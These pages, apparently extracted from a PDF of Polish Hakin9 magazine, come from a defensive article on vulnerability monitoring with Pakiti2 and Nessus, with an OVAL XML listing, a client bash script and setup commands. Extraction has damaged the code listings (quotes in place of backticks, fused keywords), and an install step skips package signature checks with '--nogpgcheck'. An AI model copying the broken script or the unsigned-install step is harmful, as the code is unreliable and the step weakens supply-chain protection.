The libvorbis packages contain runtime libraries for use in programs that

support Ogg Vorbis. Ogg Vorbis is a fully open, non-proprietary, patent-and

royalty-free, general-purpose compressed audio format.

An insuffi cient input validation fl aw was found in the way libvorbis

processes the codec fi le headers (static mode headers and encoding books)

of the Ogg Vorbis audio fi le format (Ogg). A remote attacker could provide

a specially-crafted Ogg fi le that would cause a denial of service (memory

corruption and application crash) or, potentially, execute arbitrary code

with the privileges of an application using the libvorbis library when

opened by a victim. (CVE-2009-2663)

Users of libvorbis should upgrade to these updated packages, which contain

a backported patch to correct this issue. The desktop must be restarted

(log out, then log back in) for this update to take effect.

</description>

<!--

~~~~~~~~~~~~~~~~~~~~ advisory details ~~~~~~~~~~~~~~~~~~~

-->

<advisory from="[email protected]">

<severity>Important</severity>

<rights>Copyright 2009 Red Hat, Inc.</rights>

<issued date="2009-08-18"/>

<updated date="2009-08-18"/>

<cve href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2663">CVE-2009-2663</cve>

<bugzilla href="http://bugzilla.redhat.com/516259" id="516259">

CVE-2009-2663 libvorbis: Improper codec headers processing (DoS, ACE)

</bugzilla>

<affected_cpe_list>

<cpe>cpe:/o:redhat:enterprise_linux</cpe>

</affected_cpe_list>

</advisory>

</metadata>

<criteria operator="OR">

<criteria operator="AND">

<criterion test_ref="oval:com.redhat.rhsa:tst:20090003001" comment="Red Hat Enterprise Linux 5 is installed"/>

<criteria operator="OR">

<criteria operator="AND">

<criterion test_ref="oval:com.redhat.rhsa:tst:20091219004" comment="libvorbis-devel is earlier than 1:1.1.2-3.el5_3.3"/>

<criterion test_ref="oval:com.redhat.rhsa:tst:20091219005" comment="libvorbis-devel is signed with Red Hat redhatrelease

key"/>

</criteria>

<criteria operator="AND">

<criterion test_ref="oval:com.redhat.rhsa:tst:20091219002" comment="libvorbis is earlier than 1:1.1.2-3.el5_3.3"/>

<criterion test_ref="oval:com.redhat.rhsa:tst:20091219003" comment="libvorbis is signed with Red Hat redhatrelease key"/>

</criteria>

</criteria>

Page 51: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

OBRONA

50 HAKIN9 3/2010

MONITOROWANIE LUK W OPROGRAMOWANIU

51 HAKIN9 3/2010

elementy: konfigurację systemu, stan systemu, ocenę. Repozytoria stanowią publicznie dostępną bazę danych opisanych podatności.

W praktyce, listy OVAL dostępne są w postaci plików XML (ang. eXtensible Markup Language), zwierających powyższe informacje. Przykładowy fragment takiego pliku (zaczerpnięty z https://www.redhat.com/security/data/oval/com.redhat.rhsa-2009.xml) przedstawia Listing 1. Widzimy na nim opis (definition) podatności libvorbis , m.in.: nazwę (title), platformy jakich dotyczy (affected/platform) i opis słowny (description).

Architektura Pakiti2Pakiti2 posiada typową architekturę klient-serwer, przedstawioną na Rysunku 1. Lista podatności budowana jest przez serwer na podstawie danych wysyłanych przez klienty i list OVAL (udostępnianych przez Red Hat), a następnie pokazywana przez

interfejs WWW. Zarówno wysyłanie danych przez klientów, jak i budowanie przez serwer na tej podstawie listy podatności oprogramowania zainstalowanego na klientach, wykonywane powinny być cyklicznie, a dostęp do interfejsu WWW realizowany powinien być z użyciem połączenia szyfrowanego.

Klient Pakiti2 zaimplementowany jest w postaci skryptu BASH (ang. Bourne-Again Shell), którego działanie można podzielić na dwa etapy: zebranie informacji o systemie i oprogramowaniu oraz wysłanie informacji do serwera. Do przesłania danych serwerowi wykorzystywane jest wywołanie skryptu PHP (ang. PHP: Hypertext Preprocessor ) serwera poprzez curl i przekazanie mu parametrów z wykorzystaniem metody POST. Kodu źródłowy klienta widoczny jest na Listingu 2. Do poprawnego działania wymagany jest jeszcze plik konfiguracyjny, w którym podać należy adres serwera, miejsce gdzie przechowywane są

certyfikaty (wykorzystywane do połączenia szyfrowanego) oraz opcjonalnie parametry wywołania curl (np. ignorowanie niepodpisanych certyfikatów).

Serwer Pakiti2 zaimplementowany jest jako zestaw skryptów PHP, odpowiadających za przyjmowanie danych od klientów, aktualizowanie list OVAL oraz wyszukiwanie luk w oprogramowaniu (poprzez parsowanie list OVAL i list pakietów dostarczonych przez klienty), a także raportowanie wyników pracy przez interfejs WWW. Wszystkie dane na temat klientów przechowywane są w bazie MySQL. W skład serwera wchodzi plik konfiguracyjny, skrypt bash uruchamiany jako cyklicznie wykonywane zadanie cron oraz klika plików PHP odpowiedzialnych za komunikację z bazą danych i prezentowanie wyników.

Instalacja i konfiguracjaKlient Pakiti2 dostępny jest w formie paczki RPM na załączonej płycie CD-

Listing 1b. Fragment pliku XML z listą OVAL

</criteria>

<criteria operator="AND">

<criterion test_ref="oval:com.redhat.rhsa:tst:20090004010" comment="Red Hat Enterprise Linux 3 is installed"/>

<criteria operator="OR">

<criteria operator="AND">

<criterion test_ref="oval:com.redhat.rhsa:tst:20091219009" comment="libvorbis-devel is earlier than 1:1.0-11.el3"/>

<criterion test_ref="oval:com.redhat.rhsa:tst:20091219010" comment="libvorbis-devel is signed with Red Hat master key"/>

</criteria>

<criteria operator="AND">

<criterion test_ref="oval:com.redhat.rhsa:tst:20091219007" comment="libvorbis is earlier than 1:1.0-11.el3"/>

<criterion test_ref="oval:com.redhat.rhsa:tst:20091219008" comment="libvorbis is signed with Red Hat master key"/>

</criteria>

</criteria>

</criteria>

<criteria operator="AND">

<criterion test_ref="oval:com.redhat.rhsa:tst:20090004019" comment="Red Hat Enterprise Linux 4 is installed"/>

<criteria operator="OR">

<criteria operator="AND">

<criterion test_ref="oval:com.redhat.rhsa:tst:20091219013" comment="libvorbis-devel is earlier than 1:1.1.0-3.el4_8.2"/>

<criterion test_ref="oval:com.redhat.rhsa:tst:20091219010" comment="libvorbis-devel is signed with Red Hat master key"/>

</criteria>

<criteria operator="AND">

<criterion test_ref="oval:com.redhat.rhsa:tst:20091219012" comment="libvorbis is earlier than 1:1.1.0-3.el4_8.2"/>

<criterion test_ref="oval:com.redhat.rhsa:tst:20091219008" comment="libvorbis is signed with Red Hat master key"/>

</criteria>

</criteria>

</criteria>

</criteria>

</defi nition>

Page 52: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

OBRONA

52 HAKIN9 3/2010

MONITOROWANIE LUK W OPROGRAMOWANIU

53 HAKIN9 3/2010

ROM. Podczas procesu instalacji do systemu plików dodawane są dwa pliki:

/etc/pakiti2-client.conf

/etc/cron.daily/pakiti2-

client.cron.daily

oraz użytkownik i grupa pakiti2. Po zakończeniu instalacji należy edytować plik /etc/pakiti2-client.conf, wprowadzając co najmniej adres URL serwera.

Serwer Pakiti2, ze względu na eksperymentalny charakter oraz możliwość działania na każdej dystrybucji Linuksa z działającym serwerem WWW Apache i bazą danych MySQL, dostępny jest na załączonej płycie CD-ROM w postaci archiwum TGZ. Instalację należy przeprowadzić ręcznie kopiując pliki z archiwum w odpowiednie miejsca w systemie, konfigurując serwer Apache oraz bazę MySQL i edytując plik konfiguracyjny samego serwera Pakiti2.

Po rozpakowaniu paczki TGZ do katalogu ~/pakiti2-server, utworzone zostaną następujące katalogi: config, docs, include, scripts, www. Na początek należy skopiować odpowiednie pliki w odpowiednie miejsca. Zakładając, że chcemy uaktualniać dane w systemie raz dziennie, trzeba skopiować plik odpowiedzialny za to do katalogu /etc/cron.daily :

cp ~/pakiti2-server/docs/pakiti2-

update-cron.daily /etc/

cron.daily

Kolejnym ważnym plikiem jest pakiti2-server.conf odpowiedzialny za konfigurację. Powinien on zostać skopiowany do katalogu /etc :

cp ~/pakiti2/docs/pakiti2-

server.conf /etc/pakiti2-

server.conf

Pozostałe pliki skopiować należy do /var/lib/pakiti2/:

cp -R ~/pakiti2 /var/lib

Czas na konfigurację. Zaczniemy od bazy danych. Utworzymy bazę danych, użytkownika oraz strukturę bazy

Listing 2. Skrypt klienta Pakiti2

#!/bin/bash

VERSION="2.0.3"

CONF='/etc/pakiti2/pakiti2-client.conf'

usage=$0" [-v] [-h] [-d]\n\t-v: verbose output\n\t-h: this help\n\t-d: debug output"

if [ ! -f ${CONF} ]then echo -e "Confi guration fi le is missing at '${CONF}'!" exit;

fi

# Getting options

while getopts "dv" options; do case $options in v ) VERBOSE=1;;

d ) DEBUG=1;;

h ) echo -e "$usage";;

\? ) echo -e "$usage"

exit 1;;

* ) echo -e "$usage"

exit 1;;

esacdone

# Getting parameters from the confi guration fi le

SERVER='grep server_url ${CONF} | grep -v \# | awk -F "=" '{print $2}''

CURL_BIN='grep curl_path ${CONF} | grep -v \# | awk -F "=" '{print $2}''

CA_PATH='grep ca_certifi cate ${CONF} | grep -v \# | awk -F "=" '{print $2}''

TAG='grep tag ${CONF} | grep -v \# | awk -F "=" '{print $2}''

if [ "${VERBOSE}" == "1" ]; then echo -e "Preparing the list of installed RPMS...";fi

# Getting system parameters

HOSTNAME='hostname -f'

RPMS='rpm -qa --queryformat "%{installtime} NEWPAKITIRPM=%{NAME} %{EPOCH}:

%{VERSION}-%{RELEASE}\n" |sort -nr | sed -e 's/^[^ ]* //'

|sed -e 's/(none)/0/g' |xargs'

KERNEL='uname -r'

CURL=""

# Preparing curl string

if [ "X${CA_PATH}" != "X" ]; then CURL="${CURL} --capath ${CA_PATH}";fi

if [ "${VERBOSE}" == "1" ]; then CURL="${CURL} -F verbose=\"1\""; echo -e "Sending to the server...";

fi

if [ "${DEBUG}" == "1" ]; then CURL="${CURL} -F debug=\"1\"";fi

CURL="${CURL} -F host=\"${HOSTNAME}\"";

CURL="${CURL} -F tag=\"${TAG}\"";

CURL="${CURL} -F kernel=\"${KERNEL}\"";

CURL="${CURL} -F version=\"${VERSION}\"";

CURL="${CURL} -F rpms=\"${RPMS}'\" ";

COMMAND="${CURL_BIN}${CURL}${SERVER}"

RESULT='eval "${COMMAND}"'

Page 53: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

OBRONA

52 HAKIN9 3/2010

MONITOROWANIE LUK W OPROGRAMOWANIU

53 HAKIN9 3/2010

wykorzystując skrypt docs/pakiti2.sql. Zakładając, że w systemie dostępny jest działający serwer MySQL, oraz że nasza baza danych nazywać ma się pakiti2, wydajemy polecenia:

# mysqladmin -u root -p create pakiti2

# /usr/bin/mysql -u root -p pakiti < ~/

pakiti2-server/docs/

pakiti2.sql

Następnie tworzymy użytkownika pakiti2 i przyznajemy mu prawa dostępu do naszej bazy pakiti2 :

# /usr/bin/mysql -u root -p mysql

~ GRANT LOCK TABLES,SELECT,INSERT,UPDATE,

DELETE ON pakiti2.* TO

'pakiti2'@'localhost'

IDENTIFIED BY

'password';

~ fl ush privileges;

~ quit;

Teraz możemy uzupełnić plik konfiguracyjny /etc/pakiti2-server.conf, wypełniając pola hostname, dbname, username i password wpisując odpowiednio localhost, pakiti2, pakiti2, password (oczywiście w miejsce password podając nasze hasło, zdefiniowane przy tworzeniu użytkownika bazy danych).

Czas na konfigurację serwera Apache. Szablon wirtualnego hosta Apache2 znajduje się w pliku ~/pakiti2-server/docs/pakiti2.apache2. Sposób konfiguracji zależny jest od dystrybucji Linuksa, dlatego szczegółowy opis nie zostanie tutaj przedstawiony. Ważne jest, żeby pamiętać o poprawnym zdefiniowaniu ścieżek do feed , który przyjmuje dane od klientów oraz do interfejsu WWW, prezentującego wyniki działania systemu Pakiti2. W dostarczonym szablonie są to odpowiednio /feed (/var/lib/pakiti2/www/feed) oraz /var/lib/pakiti2/www/pakiti , co jest zgodne z tym, gdzie wcześniej skopiowaliśmy pliki (/var/lib/pakiti2). Ponadto, ze względów bezpieczeństwa (przesyłane są listy pakietów zainstalowanych na monitorowanych hostach wraz z numerami wersji) zaleca się skonfigurowanie komunikacji z wykorzystaniem SSL.

Zakładając następujące adresy dostępowe do feeda i interfejsu: http://red/feed i http://red/pakiti2, należy jeszcze edytować pliki konfiguracyjne klienta i serwera. Do pliku

/etc/pakiti2-client.conf w polu server_url wpisujemy https://red/feed (na każdej maszynie, na której zainstalowany jest klient). W pliku /etc/pakiti2-server.conf (na

maszynie, na której zainstalowany jest serwer) wpisujemy w polu url adres https://red/pakiti2/. Jeśli komunikacja ma się odbywać z użyciem SSL należy także

Listing 4. Przykładowy przebieg procesu zakładania konta Nessus

root@acarm: /home/mpt # /opt/nessus/sbin/nessus-adduser

Login : nessus

Authentication (pass/cert) : [pass]

Login password :

Login password (again) :

Do you want this user to be a Nessus 'admin' user ? (can upload plugins, etc...)

(y/n) [n]: y

User rules

----------

nessusd has a rules system which allows you to restrict the hosts

that nessus has the right to test. For instance, you may want

him to be able to scan his own host only.

Please see the nessus-adduser manual for the rules syntax

Enter the rules for this user, and enter a BLANK LINE once you are done : (the user can have an empty rules set)

Login : nessus

Password : ***********

This user will have 'admin' privileges within the Nessus server

Rules :

Is that ok ? (y/n) [y]

User added

Rysunek 4. Nessus – konfiguracja certyfikatów w kliencie interaktywnym

Page 54: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

OBRONA

54 HAKIN9 3/2010

MONITOROWANIE LUK W OPROGRAMOWANIU

55 HAKIN9 3/2010

odpowiednio wypełnić pola związane z certyfikatami.

Test działaniaW tym momencie system powinien już funkcjonować, jednak dane mogą zostać w najgorszym przypadku zebrane dopiero po 24 godzinach (po uruchomieniu zadań cron). Aby przetestować nasz system, można oczywiście ręcznie uruchomić skrypty cron serwera i klientów:

/etc/cron.daily/pakiti2-update-

cron.daily

/etc/cron.daily/pakiti2-

client.cron.daily

Po zakończeniu działania skryptów na stronie głównej interfejsu WWW powinien być widoczny host-klient. Przykładowe wyniki działania przedstawia Rysunek 2. Luki w oprogramowaniu można przejrzeć klikając w wybrany host. Luki wyświetlane są w postaci linków do CVE (ang. Common Vulnerabilities and Exposures ) je opisujących i oznaczone kolorami wg ważności. Przykładową listę wykrytych luk bezpieczeństwa w oprogramowaniu na pewnym hoście przedstawia Rysunek 3.

NessusNessus jest sieciowym skanerem bezpieczeństwa, udostępnianym za darmo do użytku niekomercyjnego (i za pewną opłatą do użytku komercyjnego) przez firmę Tenable Security. W wersji 4.0 wspierane są systemy operacyjne, takie jak Red Hat ES 4/5, Fedora Core 10/11, Debian 5, FreeBSD 7, Ubuntu 8, Mac OS X 10.5/10.5, WindowsXP, Server 2003, Server 2008 i Vista i SuSE 9.3/10.0, w wersjach 32 i 64 bitowych. Od wersji Nessus 2.0 rozwijany jest także oparty o kod źródłowy Nessusa, wolnodostępny do wszelkich zastosowań OpenVAS.

Sam Nessus jest rozbudowanym pakietem oprogramowania, umożliwiającym skanowanie z wykorzystaniem kont lokalnych na skanowanych maszynach (m.in. SSH, Oracle). W niniejszym artykule skupimy się jednak na możliwościach Nessusa jakie udostępnia, jeśli chodzi o wykorzystanie sieci do skanowania wybranych hostów.

Rysunek 5. Nessus – ustawienia skanowania

Rysunek 6. Nessus – skanowanie lokalne

Page 55: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

OBRONA

54 HAKIN9 3/2010

MONITOROWANIE LUK W OPROGRAMOWANIU

55 HAKIN9 3/2010

Architektura Nessus charakteryzuje się, podobnie jak Pakiti architekturą klient-serwer, jednak w nieco innej konfiguracji. Serwer Nessus pozwala na zarządzanie konfiguracją i procesem skanowania z wykorzystaniem klientów, które de facto dostarczają tylko interfejs.

Wszystkie skany wykonywane są z wykorzystaniem sieci przez serwer z polecenia klienta (lub klientów). Dostępne są klienty w postaci aplikacji graficznej oraz tekstowej (użytecznej szczególnie w przypadku cyklicznego uruchamiania skanów np. przy pomocy cron).

Instalacja i konfiguracjaDla wspieranych systemów operacyjnych Nessus jest udostępniany w postaci paczek RPM/DEB/TAR.GZ (dla systemów *NIX) i EXE (dla Windows) na stronie producenta: http://www.nessus.org/download/nessus_download.php. Przed pobraniem wymagane jest zaakceptowanie licencji.

Istnieje także możliwość legalnego przetestowania pakietu za darmo w zastosowaniu komercyjnym przez dwa tygodnie.

W systemie CentOS 5 paczkę serwera zainstalować można w następujący sposób:

root@red: /home/mpt # yum --

nogpgcheck

localinstall

nazaw-paczki.rpm

Po zainstalowaniu paczki, konieczne jest utworzenie co najmniej jednego użytkownika (administratora) oraz zarejestrowanie się w serwisie http://www.nessus.org/register. Rejestracja jest konieczna, aby uzyskać dostęp do wtyczek Nessusa, bez których w

praktyce system ten jest bezużyteczny. Wtyczki w istocie są skryptami wykonującymi testy i/lub ataki podczas skanowania. Aby utworzyć konto administratora, należy wywołać polecenie:

/opt/nessus/sbin/nessus-adduser

Podczas procedury zakładania konta trzeba odpowiedzieć na kilka pytań. Przykładowy przebieg procedury zakładania konta administratora Nessus przedstawia Listing 4.

W analogiczny sposób instaluje się paczkę klienta, np.:

Listing 5. Przykładowy przebieg procesu tworzenia certyfikatów klienta Nessus

root@red: ~ # /opt/nessus/sbin/nessus-mkcert-client

Do you want to register the users in the Nessus server

as soon as you create their certifi cates ? [n]: y

-------------------------------------------------------------------------------

Creation Nessus SSL client Certifi cate

-------------------------------------------------------------------------------

This script will now ask you the relevant information to create the SSL

client certifi cates for Nessus.Client certifi cate life time in days [365]: 16

Your country (two letter code) [FR]: PL

Your state or province name []:

Your location (e.g. town) [Paris]: blank

Your organization []: blank

Your organizational unit []:

**********

We are going to ask you some question for each client certifi cateIf some question have a default answer, you can force an empty answer by

entering a single dot '.'

*********

User #1 name (e.g. Nessus username) []: nessus1

Should this user be administrator? [n]: y

Country (two letter code) [PL]:

State or province name []:

Location (e.g. town) [blank]:

Organization [blank]:

Organizational unit []:

e-mail []: [email protected]

User rules

----------

nessusd has a rules system which allows you to restrict the hosts

that $login has the right to test. For instance, you may want

him to be able to scan his own host only.

Please see the nessus-adduser(8) man page for the rules syntax

Enter the rules for this user, and enter a BLANK LINE once you are done: (the user can have an empty rules set)

User added to Nessus.

Another client certifi cate? [n]:

Your client certifi cates are in /tmp/nessus-057d59d1

You will have to copy them by handRysunek 7. Nessus – fragment przykładowych wyników skanowania podsieci

Page 56: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

OBRONA

56 HAKIN9 3/2010

root@red: /home/mpt # yum --

nogpgcheck localinstall

NessusClient-4.0.2-es5.x86_64.rpm

Konfiguracja daemona (serwera) Nessus znajduje się w pliku /opt/nessus/etc/nessus/nessusd.conf. Najważniejsze wartości jakie powinno się dostosować to: max_hosts (maksymalna liczba skanowanych równolegle hostów) i max_checks (maksymalna liczba równoległych skanów pojedynczego hosta).

Kolejnym, obowiązkowym krokiem jest zarejestrowanie używanej kopii Nessusa. Aby to zrobić, należy przesłać zgłoszenie z użyciem strony http://www.nessus.org/plugins/index.php?view=register-info (Home, Proffesional lub Eval). Konieczne jest podanie adresu e-mail, na który wysłany zostanie kod aktywacyjny. Mając kod aktywacyjny należy wydać polecenie: /opt/nessus/bin/nessus-fetch

–register NASZ _ KOD _ AKTYWACYJNY. Oprócz rejestracji spowoduje ono pobranie wtyczek. Proces ten wymaga sprawnego połączenia z Internetem i może potrwać kilka minut.

Jako, że Nessus korzysta z połączenia szyfrowanego SSL, należy utworzyć certyfikaty dla serwera i klientów.

Aby utworzyć certyfikaty dla serwera, należy wydać polecenie:

/opt/nessus/sbin/nessus-mkcert

Aby utworzyć certyfikat SSL dla klienta Nessus, należy wydać polecenie:

/opt/nessus/sbin/nessus-mkcert-client

Przykładowy przebieg procedury tworzenia certyfikatów dla klienta przedstawia Listing 5. Dodatkowo, certyfikaty utworzone dla klienta wymagają instalacji.

Aby zainstalować certyfikaty klienta, należy skopiować pliki z /tmp/nessus-057d59d1 (dla podanego na Listingu 5 przykładu) do dowolnego katalogu, np. /opt/nessus/com/, a następnie uruchomić klienta i wprowadzić odpowiednie ścieżki do certyfikatów SSL (patrz Rysunek 4).

Przed próbą połączenia do serwera należy jeszcze pamiętać o jego uruchomieniu (/opt/nessus/sbin/nessusd).

Ostatnią rzeczą jaką należy zrobić, aby uzyskać pełną funkcjonalność, to zarejestrowanie się. Można to zrobić w następujący sposób. Przy użyciu polecenia /opt/nessus/bin/nessus-fetch --challenge generujemy sobie challenge. Następnie wprowadzamy wygenerowany challenge oraz otrzymany wcześniej kod aktywacyjny na stronie https://plugins.nessus.org/offline.php.

UżytkowanieW tym momencie możliwe powinno już być połączenie się klientem Nessusa do serwera i wykonanie skanu (na początek polecam przeskanowanie localhost z domyślnymi ustawieniami).

Nessus posiada bardzo szerokie możliwości, na temat których można napisać osobny artykuł. W tym miejscu ograniczę się jedynie do krótkiego opisu moim zdaniem najważniejszych i jednocześnie najbardziej użytecznych opcji.

Widok jednego z ekranów konfiguracji przedstawia Rysunek 5. Nesuss umożliwia szeroki wybór opcji skanowania, począwszy od skanerów portów jakie mają być użyte, przez wtyczki (pluginy), a skończywszy na kontach (SSH, Oracle, WWW/Apache itp.), na które jest w stanie się logować i przeprowadzać zautomatyzowany audyt. Widok ekranu konfiguracji skanowania lokalnego przedstawia Rysunek 6. Opcja ta udostępnia nam funkcjonalność zbliżoną do prezentowanej przez system Pakiti2. Dzięki niej, agent Nessusa może przeprowadzać testy lokalne oraz sprawdzić listę zainstalowanego oprogramowania pod kątem podatności.

Mimo kuszących możliwości skanowania lokalnego, wydaje się, że Nessus najlepiej sprawdza się jako skaner sieciowy. Fragment wyników uzyskanych ze skanowania pewnej podsieci przedstawia Rysunek 7. Wśród wyników z Nessusa wyróżnione na czerwono są znalezione luki. Dodatkowo, do większości luk dołączone są odnośniki do CVE je opisujących.

PodsumowanieW dużych instalacjach scentralizowane systemy monitorowania luk w oprogramowaniu są wręcz niezbędne. Prym wiedzie tutaj rozbudowany, komercyjny, dojrzały pakiet Nessus. Pewną alternatywą w stosunku do niego może być, dostępny i znajdujący się jeszcze ciągle w fazie beta, pakiet Pakiti2. Przyszłość pokaże, czy Pakiti2 uda się zdobyć popularność i uznanie.

Akronimy• Bourne-Again Shell – BASH, • Common Vulnerabilities and Exposures – CVE,• Concurrent Versions System – CVS,• GNU's Not Unix – GNU, • Internet Protocol – IP, • Open Vulnerability and Assessment Language – OVAL, • Open Vulnerability Assessment System – OpenVAS,• PHP Hypertext Preprocessor – PHP,• Red Hat Enterprise Linux – RHEL,• RPM Package Manager – RPM, • Really Simple Syndication – RSS, • Secure SHell – SSH,• Secure Sockets Layer – SSL,• Structured Query Language – SQL,• eXtensible Markup Language – XML.

W Sieci• http://oval.mitre.org/ – OVAL,• http://pakiti.cvs.sourceforge.net/ – CVS Pakiti.

Marcin TeodorczykAutor jest absolwentem kierunku Informatyka jednej z największych polskich uczelni technicznych. Obecnie pracuje jako asystent informatyczny w dziale bezpieczeństwa jednego z wiodących w Polsce dostarczycieli usług obliczeniowych i sieciowych. Kontakt z autorem: [email protected].

Page 57: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

TTS Company Sp. z o.o.Sprzedaż i dystrybucja oprogramowania komputerowego. Import programów na zamówienie. Ponad 200 producentów w standardo-wej ofercie.

Chcesz kupić oprogramowanie i nie możesz znaleźć polskiego do-stawcy?

Skontaktuj się z nami – sprowadzimy nawet pojedyncze licencje.

www.OprogramowanieKomputerowe.pl

CCNSDziałalność fi rmy skoncentrowana jest wokół hasła zapewnie-nia pełnego bezpieczeństwa funkcjonowania Klienta w realiach współczesnej gospodarki. Jako Expert Partner fi rmy WatchGu-ard Inc. oferujemy kompleksowe rozwiązania bezpieczeństwa sie-ci i systemów informatycznych obejmujące nowoczesne urzą-dzenia typu Unifi ed Threat Management, niezawodny serwis i szeroki wachlarz szkoleń.

www.ccns.pl

Kei.plKei.pl działa na rynku usług hostingowych od 2000 roku. Do naszych zadowolonych Klientów z dumą możemy zaliczyć wiele przedsię-biorstw sektora MSP, instytucji oraz osób prywatnych. W ofercie Kei.pl znajdują się pakiety hostingowe, a także usługi dla wymagających Użytkowników – platformy e-Biznes oraz serwery fi zyczne.

www.kei.pl

Sokra-NETDziała od roku 2002, specjalizuje się w szeroko pojętym bezpie-czeństwie informacji. Posiada wykwalifi kowany specjalnie do tych celów zespół inżynierów którzy przy współpracy z naszymi klien-tami maksymalizują bezpieczeństwo danych, audytując i dobezpie-czając. Wykonujemy testy penetracyjne, analizy kodów źródłowych, testy wydajnościowe aplikacji i ich środowisk teleinformatycznych. Wdrażamy polityki bezpieczeństwa. Wspomagamy naszych partne-rów merytorycznie.

www.sokra.net

Jedna edycja Klubu PRO obejmuje 12 miesięcy, czyli 12 kolejnych numerów pisma. Jak wygląda reklama?W naszym magazynie będą pojawiały się strony z reklamami firm, które skorzystają z naszej wyjątkowej oferty. Każda strona podzielona będzie na moduły.Każda firma ma na wyłączność jeden moduł. Zawiera on: logo firmy, 300-400 znaków na temat oferty firmy oraz kontakt do niej.Magazyn Hakin9 wychodzi w nakładzie 6000 egzemplarzy – jest to więc znakomita okazja na promocję za naprawdę niewielką cenę.

Aby poznać szczegóły naszego Klubu napisz do:[email protected] 427 36 77

Przyłącz się do naszego Klubu PRO

Page 58: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

58

OBRONA

HAKIN9 3/2010

Zdecydowanie nie będzie to kolejny tekst o cudownych i niezawodnych metodach zabezpieczania systemów przed atakami,

ponieważ uniwersalne sposoby nie istnieją, a stereotypowe receptury nie zawsze zdają egzamin. Co w takim razie ze skutecznością ochrony prywatności? W dużej mierze zależy ona od rozwagi administratora, świadomości zagrożeń i umiejętności sprytnego wykorzystania oferowanych przez systemy operacyjne narzędzi. Nie zawsze kosztowne i przesadnie rozbudowane systemy antywłamaniowe gwarantują bezpieczeństwo. Jeżeli nie potrafimy ich odpowiednio skonfigurować lub nie znamy czyhających niebezpieczeństw, nawet najdoskonalsze oprogramowanie nie udaremni włamania. Warto zastanowić się także, czy zawsze konieczny jest zakup drogiego oprogramowania, gdyż w większości przypadków darmowe narzędzia w zupełności zaspokajają potrzeby administratorów i użytkowników dając im poczucie bezpieczeństwa. Oprogramowanie zaprezentowane w artykule jest darmowe i dostępne w większości dystrybucji opartych na BSD. Sprawia to, że bez ponoszenia zbędnych kosztów każdy może samodzielnie uodpornić system operacyjny i stworzyć własnego firewalla – wystarczą chęci i wiedza. Nie oznacza to jednak, że wykonane w ten sposób zabezpieczenie będzie gorsze niż komercyjne. Wręcz przeciwnie, poprawna konfiguracja sprawia, że oprogramowanie przedstawione

ŁUKASZ CIESIELSKI

Z ARTYKUŁU DOWIESZ SIĘjak chronić system przed niepożądanym dostępem do danych,

jakie darmowe oprogramowanie skutecznie uniemożliwia włamanie,

w jaki sposób filtrować pakiety NAT,

co zrobić aby system *BSD stał się małą twierdzą.

CO POWINIENEŚ WIEDZIEĆznać podstawowe pojęcia z zakresu sieci komputerowych,

posiadać minimalną wiedzę na temat pakietów sieciowych,

znać podstawy dowolnego systemu z rodziny BSD.

w dalszej części tekstu w niczym nie ustępuje produktom oferowanym przez potentatów rynku komputerowego.

Jednym z najpożyteczniejszych narzędzi, którym będziemy zajmować się w artykule, jest tzw. Packet Filter, nazywany skrótowo PF. W języku polskim oznacza to po prostu Filtr Pakietów. Choć brzmi to banalnie, manipulacje możliwe przy jego wykorzystaniu są ogromne. Ponieważ oprogramowanie to powstało pierwotnie dla systemu BSD, a dokładniej OpenBSD (następnie przeportowano go także na FreeBSD i NetBSD), właśnie na jego przykładzie będzie przeprowadzona konfiguracja (choć fragmenty mogą ukazywać wersję dla FreeBSD, która czasem nieco się różni). Rzecz najważniejsza – Filtra Pakietów nie trzeba instalować! Czyż nie jest to wspaniałe, kiedy system operacyjny sam oferuje nam firewall? PF znajduje się domyślnie w systemie od wersji OpenBSD 3.0 i co ważniejsze jest częścią jądra. Przed użyciem należy go jednak aktywować. W tym celu wystarczy odpowiednio zmodyfikować plik /etc/rc.conf.local poprzez dodanie do niego polecenia pf=YES (w przypadku FreeBSD będzie to pf_enable=”YES” ). Spowoduje to, że program zostanie uruchomiony wraz z systemem operacyjnym. Alternatywnym sposobem jest manualne załadowanie odpowiedniego modułu za pomocą polecenia kldload pf.ko. Niezwykle wygodnym narzędziem wspomagającym zarządzanie tym pakietem jest pfctl. Dzięki niemu w prosty sposób możemy w

Stopień trudności

Rozsądek to bezpieczeństwoCzy na Twoich barkach spoczywa odpowiedzialność za bezpieczeństwo danych firmy? A może jesteś administratorem sieci? Jeżeli nie, to z całą pewnością jesteś użytkownikiem, ceniącym sobie prywatność i starającym się chronić własny system przed włamaniem. Niektórzy twierdzą, że posiadają dobry program antywirusowy. Niestety to za mało – sprawdź sam.

Page 59: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

59

ROZSĄDEK TO BEZPIECZEŃSTWO

HAKIN9 3/2010

pełni zarządzać Filtrem Pakietów. Zanim jednak przejdziemy do obsługi PF, wróćmy do konfiguracji, gdyż to właśnie ona jest najistotniejsza i decyduje o skuteczności zabezpieczeń.

